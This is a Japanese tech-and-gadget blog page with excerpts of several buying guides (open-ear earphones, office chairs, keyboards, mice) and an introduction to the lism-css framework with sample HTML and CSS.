Shokz自身の製品一覧でも、骨伝導は「スポーツ用骨伝導イヤホン」「ビジネス用骨伝導イヤホン」（OpenRun Pro 2／OpenRun Pro／OpenRun／OpenMove／OpenSwim系／OpenComm 2系／OpenMeet UC）、OpenFit系とOpenDots系は「オープンイヤー型イヤホン／イヤーカフ型イヤホン」として、別のカテゴリに分けられています。メーカーは両者を混同していません。混同が起きているのは、EC上の出品名です。 「骨伝導」と書かれた商品が空気伝導かを見分ける4つのチェック 商品ページを開いた状態で、上から順に4つだけ見ます。1つでも空気伝導側に振れたら、その商品は骨伝導ではないと判断して構いません。 仕様欄の「スピーカータイプ」「ドライバー」を読む。「空気伝導トランスデューサー」「◯mm径ダイナミックドライバー」と書かれていれば空気伝導です。骨伝導は「骨伝導トランスデューサー」「ボーンコンダクションドライバー」と表記されます。 説明文に「空気伝導」の語が混ざっていないか探す。タイトルは「骨伝導」でも、本文で自ら「空気伝導式」と説明している商品があります。ページ内検索で「空気伝導」を一度かけるだけで済みます。 本体の形を見る。骨伝導は振動子を側頭部に一定の圧力で押し当てる必要があるため、耳の後ろを回るネックバンドと一体になります。左右が完全に分かれていて充電ケースに収まる形は、少なくともShokzのラインナップではすべてオープンイヤー（空気伝導）側に分類されています。 重量の単位を確かめる。骨伝導のネックバンド型はShokzの現行機で26〜35g（左右一体の総重量）です。「片耳3g」「片耳6.3g」のように片耳で1桁gの完全ワイヤレスは、この重量に骨伝導の振動子とバンドが収まりません。 本記事で扱う3製品を、このチェックにかけた結果が次の表です。 製品出品名の表記仕様欄・説明文の記述形結論Shokz OpenRun骨伝導イヤホンメーカーが骨伝導カテゴリに分類ネックバンド一体・26g骨伝導Ennice S10骨伝導イヤホン／OWSイヤホン（併記）「空気伝導式」「10mm径ダイナミックドライバー」左右独立・片耳3.5g空気伝導（OWS）Shokz OpenDots Airオープンイヤー／イヤーカフ「スピーカータイプ：空気伝導トランスデューサー」左右独立・片耳6.3g空気伝導（イヤーカフ） 誤解のないように付け加えると、空気伝導だから劣るという話ではありません。耳をふさがない・外音が聞こえるという目的だけを見れば、3方式とも要件を満たします。困るのは、骨伝導を指名買いしたつもりの人に空気伝導が届くことと、「骨伝導だから音漏れしない」といった方式前提の期待が外れることです。 在宅ワークで選ぶ理由は音質ではなく「4時間座っても耳が痛くならない」こと 耳をふさがないイヤホンは、音質で密閉型カナル型に勝つための製品ではありません。何を得て何を諦める買い物なのかを先に確定させておくと、レビューの星の数に振り回されずに済みます。 得られるもの在宅ワークでの意味耳の穴に何も入らない連続した会議のあとでも外耳道が痛くならない。蒸れない外音がそのまま聞こえるインターホン、家族の呼びかけ、宅配の到着を聞き逃さない重さが耳の一点にかからないネックバンド型は側頭部と後頭部へ、イヤーカフ型は耳の縁へ荷重が分散する装着したまま会話できる同居家族に話しかけられて外す、という中断が減る 諦めるもの具体的に何が起きるか低音の量感耳の穴を密閉しないため低域が抜ける。Shokz自身、上位機で空気伝導ドライバーを足して低域を補っている遮音周囲の音は消えない。騒がしい場所では音量を上げたくなる（後述の誤解3で扱う）軽さの上限骨伝導のネックバンド型は26〜35g。「20g台」で語れるのはごく一部の機種だけマイクの自動的な優秀さマイクの型は方式と無関係。ネックバンドに内蔵されたマイクは口元から遠い この2枚目の表がそのまま、次のセクションの選定基準になります。諦めるもののうち「マイクの型」だけは、機種選びでほぼ完全に取り返せるからです。 買う前に決める5つの選定基準（在宅ワーク前提） ここから先は、すべてメーカーの仕様表だけで照合できる項目に絞ります。実機を触らなくても、商品ページの数行を読めば判定できるものだけを基準にしています。 基準1｜マイクの型｜ブームマイクか、本体内蔵マイクか Web会議で相手の評価を決めるのは、あなたに聞こえる音ではなく、相手に届くあなたの声です。そしてそれを決めるのはマイクの位置です。耳をふさがないイヤホンのマイクは、大きく2つに分かれます。 マイクの型位置向いている用途本記事の該当機ブームマイク型アームが口元まで伸びるWeb会議・通話が主。生活音を拾いにくいShokz OpenComm 2／OpenComm 2 UC本体内蔵マイク型ネックバンドや本体側面音楽・動画が主。通話は補助Shokz OpenRun／OpenMove Shokzは、ビジネス向けのOpenComm 2について「スリムで簡単に調整できるブームマイクを使用者に合わせて口元に配置することでマイクの精度を高める」「周囲のノイズをフィルタリングして除去することで『声』を識別、補正するClear Voice Capture（CVC）テクノロジー」と説明しています（Shokz OpenComm 2／2026-08-02取得）。 ### [在宅ワークに最適！COFOとエルゴヒューマンの高機能チェア](https://codequest.work/ergonomic-chair-cofo-vs-ergohuman/) 在宅ワークや長時間のPC作業で「腰や肩がつらい…」と感じたことはありませんか？そんな悩みを解決してくれるのが、体をしっかり支えてくれる「高機能オフィスチェア」です。この記事では、人気の2モデル「COFOチェア」と「エルゴヒューマン2」を実際の機能や価格で比較し、それぞれの魅力を紹介します。 《マクアケ応援総額2億超！》 オフィスチェア デスクチェア 人間工学 ハイバック オフィスチェア メッシュ フットレスト リクライニング パソコンチェア ワークチェア チェア リクライニングチェア おしゃれ オフィスチェアー 腰痛 アームレスト 可動 座面 低い cofo 楽天で購入 エルゴヒューマン オットマン オフィスチェア ゲーミングチェア かっこいい おしゃれ フットレト テレワーク リモート 在宅 EHP2-LPL-DR エルゴヒューマンプロオットマン2 Ergohuman QSM-220 家具 楽天で購入 1. COFO 通気性に優れたフルメッシュ素材で蒸れにくい 最大127度のリクライニング機能 体の動きに合わせてフィットする可動式ランバーサポート フットレスト付きで仮眠や休憩にも最適 スタイリッシュなデザインでどんな部屋にも合う COFOは、国内発のリラクゼーションブランド。比較的リーズナブルな価格帯ながら、高級チェアに匹敵する調整機能を持ち合わせています。特にフットレスト付きのモデルは、在宅ワーカーから高い評価を得ています。 2. エルゴヒューマン 頭・腰・腕などすべてにフィットする多関節アジャスト機能 長時間座ってもムレないメッシュ素材 欧米でも支持される人間工学設計 プロのデザイナーやエンジニアにも愛用者多数 エルゴヒューマン2は、まさに「座ることに本気」な方におすすめのチェアです。価格帯はやや高めですが、長く使うことを考えるとコスパは非常に高く、健康への投資とも言えるアイテムです。 3. 比較 項目COFO チェアエルゴヒューマン2価格帯約4万円前後約14.5万円前後リクライニング最大127度最大135度程度素材高品質メッシュ素材高品質メッシュ素材ランバーサポート可動式サポート付き独立型アジャスタブルフットレストありあり向いている人リーズナブルに快適を求めたい方投資してでも快適さを重視したい方 4.まとめ ✅ 予算を抑えたい＆休憩時間も快適に過ごしたい人 → COFO チェア ✅ 一日中PC作業する＆身体への投資を惜しまない人 → エルゴヒューマン2 どちらのチェアも腰痛対策・集中力向上に効果的です。自分の働き方や環境に合わせて、最適な椅子を選んでください。 椅子を替えても朝の首や肩の張りが取れない場合は、寝ているあいだの環境が原因のこともあります。横向き寝用枕は高さで決まる｜購入者レビュー198件の分析に、選ぶときの判断材料をまとめました。 公式COFO 公式ergohuman よくある質問（FAQ） Q. 在宅ワーク用チェアの予算はどのくらいが目安？ 長時間座る場合は3万円以上の製品がおすすめです。腰痛予防の機能が充実しており、結果的にコストパフォーマンスが高くなります。 Q. COFOとエルゴヒューマンのどちらがおすすめ？ コスパ重視ならCOFO、実績と調整機能重視ならエルゴヒューマンがおすすめです。どちらもランバーサポート付きで腰痛対策に効果的です。 Q. オフィスチェアの寿命はどのくらいですか？ 一般的に高品質なオフィスチェアの寿命は8〜12年程度です。定期的なメンテナンス（ネジの増し締め・キャスター清掃）で長持ちさせられます。 ### [2026年 新CSSフレームワーク「lism-css」とは？軽量＆直感的な書き方が魅力！](https://codequest.work/lism-css-framework/) Web制作をしていて「CSSの設計が複雑になりがち」「フレームワークが重い」と感じたことはありませんか？ そんな方におすすめなのが、注目の軽量CSSフレームワーク「lism-css」です。 公式：Lism CSS lism-cssとは？ 「lism-css」は、モダンな設計と軽量さを兼ね備えたユーティリティファースト型のCSSフレームワークです。 CDNで即導入可能 直感的なクラス名で学習コストが低い HTMLに直接クラスを書くだけで柔軟なスタイルが適用可能 ReactやAstro対応のUIコンポーネントも開発中 開発者は @lism-ui/core などのnpmパッケージでも提供を行っており、今後の拡張性も期待されています。 lism-cssの主な特徴 1. 軽量で高速 CSSファイルは非常に小さく、CDNで即時使用が可能。初期設定不要でパフォーマンスも優秀です。 <link href="https://cdn.jsdelivr.net/npm/lism-css@0.0.13/dist/css/main.css" rel="stylesheet" /> 2. 意味のあるユーティリティクラス 例えば、-lh:1 や-p:30のような記法で簡潔にレイアウト指定が可能です。 <div class="l--box -lh:1 -p:30 -bd">1</div> <div class="l--box -lh:1 -p:30 -bd">2</div> <div class="l--box -lh:1 -p:30 -bd">3</div> 3. ボタンなどのプリセットクラスも用意 <div class="l--flex -jc:c -mbs:50"> <a class="-hov:fade -d:if -c:base -bgc:text -px:40 -py:20 -td:n -bdrs:99" href="###">Link Button</a> </div> 4. レスポンシブ対応 <div class="-p:20 -p_sm -p_md -bd" style="--p_sm:var(--s30);--p_md:var(--s50)"> <p>Example</p> </div> .-p{ padding: var(--p); } /* @sm ~ */ @container (min-width: 480px) { .-p_sm{ padding: var(--p_sm); } } /* @md ~ */ @container (min-width: 720px) { .-p_md{ padding: var(--p_md); } } 公式サイトでPlaygroundsを公開しています。 Vite + React, Astro, HTMX で Lism コンポーネントを試すことができる Playgroundsリポジトリを公開しています。 https://github.com/lism-css/lism-playgrounds <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Lism with HTMX</title> <script src="https://unpkg.com/htmx.org@2.0.0" integrity="sha384-wS5l5IKJBvK6sPTKa2WZ1js3d947pvWXbPJ1OmWfEuxLgeHcEbjUUA5i9V5ZkpCw" crossorigin="anonymous"></script> <link href="https://cdn.jsdelivr.net/npm/lism-css@0.0.13/dist/css/main.css" rel="stylesheet" /> <script src="https://cdn.jsdelivr.net/npm/lism-css@0.0.13/dist/scripts/accordion.js" type="module"></script> </head> <body> <div class="l--stack" style="min-height: 100dvh"> <div hx-get="/header.html" hx-trigger="load" hx-swap="outerHTML"></div> <div class="is--container -container:m is--flow has--gutter -mbs:50"> <p class="-fw:bold -fz:l">This site is a playground for testing lism-css.</p> <div class="l--flex -g:20 -g_sm -g_md -p:20 -p_sm -p_md -bd -bdc:divider" style="--g_sm: var(--s30); --g_md: var(--s40); --p_sm: var(--s30); --p_md: var(--s40)"> <div class="l--box -lh:1 -p:30 -bd">1</div> <div class="l--box -lh:1 -p:30 -bd">2</div> <div class="l--box -lh:1 -p:30 -bd">3</div> <div class="l--box -lh:1 -p:30 -bd -mis:a">4</div> </div> <p>Lorem ipsum dolor sit, amet consectetur adipisicing elit, sed do eiusmod tempor. Non facere laudantium ex eos doloribus aut dolore nisi provident libero, eum nulla sunt, porro sed dicta. Impedit ullam eveniet obcaecati minima.</p> <div class="l--box is--flow is--fullwide has--gutter -bgc:base-2 -py:50 -my" style="--my: var(--s50)"> <p class="-ta:c">Fullwide area</p> <div class="l--columns -g:40" style="--cols: 2"> <div class="l--box -bgc:base -p:40 -bdrs:20 -bxsh:30">Columns</div> <div class="l--box -bgc:base -p:40 -bdrs:20 -bxsh:30">Columns</div> </div> <div class="l--flex -jc:c -mbs:50"> <a class="-hov:fade -d:if -c:base -bgc:text -px:40 -py:20 -td:n -bdrs:99" href="###">Link Button</a> </div> </div> <p>Lorem ipsum dolor sit, amet consectetur adipisicing elit, sed do eiusmod tempor. Non facere laudantium ex eos doloribus aut dolore nisi provident libero, eum nulla sunt, porro sed dicta. Impedit ullam eveniet obcaecati minima.</p> <div class="l--stack -bd:b -my" style="max-width: var(--size-s); --my: var(--s50)"> <details class="d--accordion -p:20 -bd:t"> <summary class="d--accordion_header l--flex -ai:c -fw:bold"> <span class="d--accordion_label -fx:1">Question 01 ?</span> <span class="d--accordion_icon -d:ig"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 256" width="1em" height="1em" fill="currentColor" focusable="false" class="l--icon" aria-hidden="true"> <path d="M216.49,104.49l-80,80a12,12,0,0,1-17,0l-80-80a12,12,0,0,1,17-17L128,159l71.51-71.52a12,12,0,0,1,17,17Z"></path> </svg> </span> </summary> <div class="d--accordion_body l--grid -mbs:20"> <div class="d--accordion_inner -ov:h"> <p>Lorem ipsum dolor sit, amet consectetur adipisicing elit, sed do eiusmod tempor. Non facere laudantium ex eos doloribus aut dolore nisi provident libero, eum nulla sunt, porro sed dicta. Impedit ullam eveniet obcaecati minima.</p> </div> </div> </details> <details class="d--accordion -p:20 -bd:t"> <summary class="d--accordion_header l--flex -ai:c -fw:bold"> <span class="d--accordion_label -fx:1">Question 02 ?</span> <span class="d--accordion_icon -d:ig"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 256 256" width="1em" height="1em" fill="currentColor" focusable="false" class="l--icon" aria-hidden="true"> <path d="M216.49,10… ### [作業用キーボードの選び方｜押下圧・ストローク・打鍵音で決める価格別7モデル](https://codequest.work/pc-keyboard-price-comparison/) キーボードの買い替えで外さないための判定軸は、価格帯ではなく押下圧（g）・キーストローク（mm）・打鍵音の3つの物理量です。この3つを今使っているキーボードで数値にしてから見れば、候補はスペック表だけで2〜3機種まで絞れます。 この記事では、楽天市場で買える7モデルについて、各メーカーが公式に公開している押下圧・キーストローク・キー数と、2026年8月2日時点の実売価格を突き合わせて整理しました。同時に、ロジクールとエレコムは押下圧もキーストロークも公開していないという事実も、隠さずそのまま書いています。数値が無いモデルは、数値以外の条件で切るしかないからです。 前半に、キッチンスケール1台で自分の打鍵を数値にする手順を置いています。そこで条件を確定してから、後半の7モデルを見てください。最後に、買ってから2週間後に選択が合っていたかを自分で確かめるチェックも用意しました。 入力デバイスをまとめて見直すなら、対になる マウスは手の実寸から選ぶ も合わせて確認してください。あちらは体の寸法で決める話、この記事は指にかかる力で決める話です。そもそも本体スペックから決め直すなら Web制作に必要なパソコンスペックの選び方 が上流にあたります。 キーボードランキング キーボード選びは「押下圧・キーストローク・打鍵音」で決まる メカニカル・静電容量無接点・メンブレン・パンタグラフといったスイッチ方式は、選ぶときの入口にはなりますが、答えではありません。同じ「メカニカル」でも押下圧45gの製品と57gの製品があり、指の負担はまったく別物になるからです。方式は結果であって、判定軸は数値のほうです。 3つの数値がそれぞれ何を決めるのかを先に押さえます。 押下圧（g・gf）：キーが反応するまでに必要な力。1日の打鍵数だけ積み上がるので、夕方の指の疲れに直結する キーストロークとアクチュエーションポイント（mm）：キーが沈む総量と、文字が確定する深さ。底打ちするかどうかを決める 打鍵音：スイッチ自体が出す音と、キーを底まで押し切ったときに出る音の2種類がある。対策が別なので分けて考える 押下圧｜1日の指の仕事量を決める数値 押下圧は、キーを押し下げて入力が成立するまでに必要な力です。メーカーによって「押下圧」「キー荷重」「Operation Force」と呼び方が変わりますが、指しているものは同じです。単位はgまたはgf（グラム重）で表記されます。 この記事で扱う7モデルのうち、押下圧が公開されているのは3モデルだけで、その値は45g・45±15gf・55±15gf・57±8gfの範囲に収まっています。45gと57gの差は1打あたり12gです。単発では誤差のような差ですが、これは打鍵数のぶんだけ掛け算になります。自分が1日に何打鍵しているかは環境によるので、判断するときは「12g × 自分の1日の打鍵数」で計算してみてください。1万打鍵なら120kgぶんの差になります。 押下圧が軽いほど良いわけではありません。軽すぎると手を置いただけで入力が入り、意図しない文字が混ざります。45g前後が広く使われているのは、その辺りが誤入力と疲労のバランス点として定着しているからです。 キーストロークとアクチュエーションポイント｜どこで文字が確定するか キーストロークはキーが沈む総量、アクチュエーションポイント（プリトラベル）はそのうちのどこで文字が確定するかです。例えば総ストローク4.0mm・プリトラベル2.0mmのスイッチなら、2.0mm押した時点で文字は確定しており、残りの2.0mmは入力に関係のない動きになります。 この「残り」を毎回押し切っているのが底打ちです。底打ちは打鍵音を大きくし、指先に衝撃を返します。逆に言えば、押下圧を下げなくても底打ちをやめるだけで疲労が変わることがあります。買い替える前に確認しておく価値があるのはこのためです。 総ストロークは深いほど疲れるとも限りません。浅いキーボードは指の移動量が小さい代わりに、底に当たるまでの余裕が無く衝撃を受けやすくなります。ストロークは深い／浅いの好みではなく、底打ちしているかどうかとセットで判断してください。 打鍵音｜スイッチの音と底打ちの音は別物 打鍵音には2つの発生源があります。1つはスイッチ機構そのものが出す音（クリッキー軸の「カチッ」など）、もう1つはキーが底に当たるときの「コトッ」という衝突音です。 静音スイッチが消せるのは前者だけです。底打ち音は打ち方と筐体の構造で決まるので、静音モデルに買い替えても打ち方が変わらなければ音は残ります。「静音と書いてあるのに思ったより響く」という不満の多くはここが原因です。 メーカーによって、数値が公開されているかが違う この記事の7モデルを調べたところ、押下圧とキーストロークの公表状況はきれいに二分されました。ロジクールの3モデル（K835・K295・K780）はいずれも公式製品ページの仕様欄に押下圧・キーストロークの項目自体が存在せず、エレコム TK-FCM103XBK も同様に数値の記載を確認できませんでした。一方でKeychron・PFU・東プレは、押下圧もストロークも数値で公開しています。 メーカー押下圧の公開判定に使うものロジクールなし形・重量・接続方式エレコムなし形・キー数・ケーブルKeychronあり軸を選んで指定できるPFU（HHKB）あり45g／3.8mm固定東プレあり45g／4.0mm＋作動点可変メーカー別・押下圧とキーストロークの公開状況（2026年8月2日時点、各社公式ページで確認） これは製品の優劣ではなく、選び方が変わるという話です。数値を公開していないメーカーの製品は、数値で比べようとしても比べられません。後半の各モデルでは、数値がある場合は数値で、無い場合は形と用途で選べるように書き分けています。 いま使っているキーボードで、自分の打鍵を数値にする ここが本記事の中心です。今のキーボードの数値が分からないまま新しい製品のスペックを見ても、「45gが自分にとって軽いのか重いのか」が判断できません。基準を先に作ります。 用意するものは1g単位のデジタルキッチンスケールと、文字が打てるテキストエディタだけです。専用の測定器は要りません。 手順1｜キッチンスケールで作動開始荷重と底打ち荷重を測る キッチンスケールを机に置き、電源を入れて表示を0gにする キーボードを裏返し、測りたいキー1つだけが皿の中央に当たるように載せる。左手ホームポジションの「F」など、スタビライザーの付いていない通常キーを選ぶ（スペースキーやEnterキーはスタビライザーの抵抗が乗るので使わない） キーボード本体の重さは反対の手で支え、表示がほぼ0の状態にしてから、もう一度ゼロ点（TARE）を押す 支えている手をゆっくり下げていき、キーが沈み始めた瞬間の表示を読む（＝作動開始荷重） さらにゆっくり下げ、キーが止まった瞬間の表示を読む（＝底打ち荷重） 同じキーで3回測り、中央値を採る この方法で読めるのは作動開始荷重と底打ち荷重であって、メーカーが公表する押下圧そのものではありません。ただし実際のタイピングで指が出している力は底打ち荷重に近く、買い替えで変わるのもそちらです。比較の基準としては十分に使えます。 数値が出たら、次の区切りで読みます。 底打ち荷重の実測読み取り次に見るもの60g以上重い側。押下圧が疲労の主因になりうる45g級への乗り換えで効果が出る45〜60g標準的。押下圧を下げても体感は小さいストロークと打鍵音を先に見る45g未満軽い側。押下圧は原因ではない角度・パームレスト・姿勢を見る底打ち荷重から次の一手を決める（本記事の設計値） この3つの区切りは、本記事が扱う7モデルの公表値（45g／45±15gf／55±15gf／57±8gf）を基準に筆者が引いた設計値であり、実測から求めたものではありません。実機での検証は行っていないので、自分の測定値が境界付近だった場合は区切りを絶対視せず、次の手順2と合わせて判断してください。 手順2｜自分が底打ちしているかを、道具なしで判定する 道具は要りません。テキストエディタを開き、キーを底まで押し切らないつもりで1分間、いつもの文章を打ってみてください。 文字が抜けない：アクチュエーションポイントより浅い位置でも入力できている。つまり普段は必要以上に深く押し込んでいる＝底打ちしている 文字が抜ける：普段からアクチュエーションポイント付近で止められている。底打ちは主因ではない 底打ちしていると分かった場合、まず効くのは製品の買い替えではなくプリトラベルの浅いスイッチを選ぶこと、あるいは作動点を調整できる製品を選ぶことです。後半で扱うREALFORCE RC1のAPCがこれにあたります。 手順3｜測った値を「買う条件」の文に変換する 手順1と手順2の結果を、そのまま買い物に使える1文へ変換します。変換表は次のとおりです。 いま起きていること必要な条件本記事で該当するモデル底打ち荷重60g以上＋夕方に指が張る押下圧45g級HHKB／東プレ RC1／K8 Max底打ちしている＋音が気になるプリトラベルが浅い、または作動点可変東プレ RC1（APC）音だけが問題（力は軽い）静音を公式にうたっているものK295／HHKB／東プレ RC1テンキーで数字入力が多いフルサイズ（テンキー付き）K295／K780机が狭い・持ち運ぶ70〜80％サイズ以下K835／エレコム／K8 Max／HHKB／RC1複数の端末を行き来する複数台ペアリングK780（3台）／K8 Max（3台）／HHKB（4台）実測値と症状から「買う条件」を出す たとえば「底打ち荷重62g、浅打ちで文字が抜けない、深夜も打つ」なら、条件文は「押下圧45g級・作動点を浅くできる・静音」になります。ここまで決まってから価格帯を見てください。逆順にすると、予算内で買えたのに条件を満たさない製品が残ります。 実売価格で並べ直すと、帯は3つに分かれる 7モデルを2026年8月2日時点の実売価格で並べ直すと、次のようになります。メーカー希望価格ではなく実売で見ると、帯の切れ目は「1万円未満」「1万円台〜2万円台」「3万円台」の3つです。 以降、表の中では長い製品名を次のように略記します。HHKB Professional HYBRID Type-S は「HHKB Type-S」または「HHKB」、REALFORCE C1HJ11 は「東プレ RC1」または「RC1」、エレコム TK-FCM103XBK は「エレコム 有線」です。型番はそれぞれの見出しに書いてあります。 モデル実売目安帯エレコム 有線1,919円1万円未満ロジクール K2953,201円1万円未満ロジクール K8357,280円1万円未満ロジクール K7808,900円1万円未満Keychron K8 Max18,590円〜1万円台〜2万円台HHKB Type-S36,850円3万円台東プレ RC138,280円3万円台実売価格順（2026年8月2日時点・楽天市場の最安値／K8 Maxは構成により変動） 注意したいのはロジクール K780です。かつて1万円台で売られていた製品ですが、現在はロジクール公式が￥9,790、楽天の最安が8,900円で、実売は1万円を切っています。「1〜2万円のモデル」として紹介している情報を見かけたら、価格の取得時期を確認してください。 この並びで見ると、1万円未満に4モデルが集中し、1万円台〜2万円台はKeychron K8 Maxの1モデルだけです。「1万円台にはこういう傾向がある」と一般化できるだけの母数はありません。この記事では帯を傾向として語らず、あくまで予算の目安としてだけ使います。 価格は日々動きます。判断に使うのは帯までにして、最終的な金額は各リンク先で確認してください。 ### [作業用マウスの選び方｜手の実寸・静音・接続方式で決める価格別9モデル](https://codequest.work/mouse-recommendation-by-price/) 作業用マウスは、手の長さ・クリック音の可否・接続方式の3つを先に確定させてから価格帯を見ると、買い直しになりません。価格の差は性能の優劣ではなく、どこにコストが乗っているかの違いだからです。 この記事では、楽天市場で買える9モデルを2,000円以下・1万円以下・1万円台の3つの帯に分け、各メーカーの公式仕様と2026年8月2日時点の実売価格を突き合わせて整理しました。掲載している購入リンクはすべて楽天市場です。 前半に、定規1本で「自分の手にはどのくらいの長さの本体が合うのか」を数値で出す手順を置いています。先にそこで条件を確定してから、後半の9モデルを見てください。最後に、買ってから2週間後に選択が合っていたかを自分で確かめるチェックも用意しました。 マウス選びは「手の長さ・クリック音・接続方式」の3点で決まる マウス選びで外す原因は、ほぼこの3点のどれかを決めないまま価格だけで比べていることです。逆にこの3点さえ数値とYES/NOで確定できれば、候補は自動的に2〜3機種まで絞れます。 3点がそれぞれ何を決めるのかを先に押さえておきます。 手の長さ：本体の「長さ（手前から奥までの寸法）」が合うかを決める。合わないと持ち方が固定できない クリック音：静音スイッチが必要かを決める。必要なら、公式に静音と書かれていないモデルは候補から外れる 接続方式：USBレシーバーが同梱されるかを決める。PCにBluetoothが無いなら、これで候補が半分になる 手の長さ｜本体の長さが合わないと持ち方が固定できない 本体が手に対して短すぎると指が余り、指先だけで支える形になって先端に力が集中します。逆に長すぎると手のひらが本体の後端に届かず、手首を支点にして腕全体でマウスを動かすことになります。どちらも1日8時間の作業では前腕が張ります。 判断に使う数値は本体の長さ、つまり手前から奥までの寸法です。今回の9モデルは98.0mmから124.9mmまで約27mmの幅があります。数字にすると小さく見えますが、これは持ち方そのものが変わる幅です。 クリック音｜静音かどうかはメーカーが必ず仕様に書いている 静音（サイレント）スイッチを採用しているモデルは、メーカーが製品名か仕様表に明記します。エレコムは製品名を「抗菌ワイヤレス静音BlueLEDマウス」とし、HPは「HP 710 リチャージャブル ワイヤレス静音マウス」としています。書かれていないモデルを、静かだろうと期待して買わないことです。 本記事の9モデルのうち、メーカーが公式に静音をうたっているのは7モデルです。残る2モデル（MX Anywhere 3S・SlimBlade Pro）については、今回参照した公式資料の中に静音の記載を確認できませんでした。静音を必須条件にするなら、この2つは「未確認」として扱ってください。 接続方式｜レシーバーが同梱されるかどうかで買えるモデルが変わる ワイヤレスマウスの接続は、USBレシーバー（2.4GHz帯）とBluetoothの2系統です。ここが購入判断でいちばん事故になります。同じ製品名でも、レシーバーが同梱される仕様と同梱されない仕様が併売されているからです。 実例が、本記事で扱うMX Master 3S Bluetooth Editionです。ロジクールの公式仕様には、標準版の箱の中身が「マウス／Logi BOLT USBレシーバー／USB-C充電ケーブル／取扱説明書」であるのに対し、Bluetooth Editionは「マウスと取扱説明書」だけだと書かれています（ロジクールの製品仕様（箱の中身））。BluetoothのないPCでは、箱を開けても使えません。 ですから、候補を見る前にPC側にBluetoothがあるかを確認してください。これから買い替えるなら、Web制作向けノートPCのスペック選び の段階で無線まわりの仕様を見ておくと後で困りません。 自分に必要なマウスの条件を、手の実寸から出す 必要なのは定規と紙、そして今使っているマウスだけです。5分で「本体の長さが何mmなら自分に合うのか」という数値まで出せます。 先に断っておきます。これから示す係数は、本記事が掲載9モデルの公式寸法から逆算して置いた設計値であり、メーカーや公的機関が定めた基準ではありません。候補を絞り込むための目安として使い、最終判断は実機に触れるか、この記事の最後にある2週間チェックで確かめてください。 手の長さを測る マウスを持つ側の手を測ります。 紙の上に手のひらを下にして置き、指を自然に伸ばす（力を入れて反らせない） 手首のいちばん深いシワの中央に定規の0を合わせる 中指の先端までの直線距離をmm単位で読む この実測値をそのまま次の計算に使うので、平均値と比べる必要はありません。ここでは仮に180mmだったとして進めます。 持ち方を判定する 今使っているマウスに手を置き、真横から見て手のひらのどこが接地しているかで判定します。 かぶせ持ち：手のひら全体が本体の後ろ半分に乗り、指が寝ている つかみ持ち：手のひらの後端だけが接地し、指が山なりに立っている つまみ持ち：手のひらが本体に触れておらず、指先だけで支えている 判断がつかない場合は、机の上に手を置いて力を抜き、そのまま指を軽く丸めてみてください。そのときにできる形が、普段の持ち方に近いものです。 適正な本体の長さを計算する 手長と持ち方が出たら、次の係数を掛けます。持ち方によって、同じ手長でも適正な長さが変わるためです。 持ち方下限の係数上限の係数つまみ持ち手長 × 0.50手長 × 0.58つかみ持ち手長 × 0.54手長 × 0.63かぶせ持ち手長 × 0.57手長 × 0.68 計算例です。手長180mmでかぶせ持ちなら、下限は 180 × 0.57 ＝ 102.6mm、上限は 180 × 0.68 ＝ 122.4mm。つまり本体の長さが約103〜122mmのモデルが候補になります。 合否の読み方は次のとおりです。範囲に入る＝候補として残す。下限を下回る＝小さすぎて指が余る。上限を超える＝手のひらが後端に届かない。 境界の値になったときは持ち方を優先してください。つまみ寄りの握り方なら小さい側、かぶせ寄りなら大きい側を選びます。なお縦型マウスとトラックボールは形状が別物なので、この計算は当てはめません。 クリック音の可否を決める ここはYES/NOの1問です。次のどれか1つでも当てはまるなら、静音は「あると良い」ではなく必須条件になります。 同居している人と同じ部屋で作業する オフィスや共有スペース、カフェで使う オンライン会議中にマウスを操作することがある 手元の近くにマイクを置いている 1つでも当てはまったら、メーカーが静音と明記していないモデルを候補から外します。この判定だけで、本記事の9モデルのうち2モデルが落ちます。 接続方式を決める（PCにBluetoothがあるかを確認する） お使いのPCで、次の場所を実際に開いて確認してください。 Windows：設定 > Bluetoothとデバイス を開き、「Bluetooth」のオン／オフのトグルが表示されるか macOS：システム設定 > Bluetooth を開き、項目が存在してオンにできるか 合否ラインは単純です。トグルが表示される＝Bluetooth専用モデルも候補にしてよい。項目そのものが無い＝USBレシーバーが同梱されるモデルに限定する。後者の場合、本記事ではMX Master 3S Bluetooth EditionとMX Anywhere 3Sが候補から外れます。 あわせてUSBポートの空きも見ておきます。付属レシーバーはいずれもUSB Type-Aです。Type-Cしか無いPCではハブか変換アダプタが必要になります。 2,000円以下｜1台目・サブ機として置く帯 この帯の3モデルは、乾電池式・2.4GHzレシーバー同梱・静音という構成がほぼ共通です。差が出るのは本体の大きさと電池のもち、そしてMacでの制約です。 以下に書いている実売価格は2026年8月2日時点の楽天市場での目安です。商品カードに表示される価格やキャンペーンの文言は掲載時点のものなので、最新の価格と在庫は必ずリンク先で確認してください。 エレコム M-BL21DBSKBK｜静音スイッチと抗菌加工を備えたMサイズ 公式の製品名は「抗菌ワイヤレス静音BlueLEDマウス（5ボタン）」です。名前のとおり静音スイッチを採用し、JIS抗菌性試験に準拠した抗菌加工が施されています。この価格帯で静音と抗菌が両方入っているのがこのモデルの位置づけです。 主な仕様は、本体が幅56.0×長さ98.0×高さ34.3mm、重量は約56g（電池含まず）。単3形乾電池1本で想定電池使用期間は約406日です。接続は2.4GHz帯のUSB-Aマイクロレシーバのみでの対応となり、Bluetoothには対応しません。分解能は1000／1500／2000の3段階切替、ボタンは5個、保証期間は6カ月です（エレコム公式の製品仕様）。 エレコムはこの製品を「標準的なMサイズ」と位置づけています。長さ98.0mmは9モデルで最も短い部類なので、かぶせ持ちなら手長145〜170mmあたりが目安です。 Macで使う予定なら注意が必要です。公式の対応OS表はOS X El Capitan（10.11）からmacOS Catalina（10.15）までの記載で、現行のmacOSは掲載されていません。Windows機のサブマウスとして考えるのが無難です。 【マラソン最大46倍】エレコム ワイヤレスマウス M-BL21DBSKBK 静音 抗菌 5ボタン 3段階ポインタ速度可変 ブラック 楽天で購入 実売は1,844円。静音が必須で、Windows機で使い、手長170mm以下なら第一候補になります。 サンワサプライ MA-WBL153BK｜全スイッチ静音の小型モデル サンワサプライが「全てのスイッチに静音スイッチを採用」と明記しているモデルです。左右・サイド2つ・ホイールの5ボタン構成に、カウント切替が付きます。 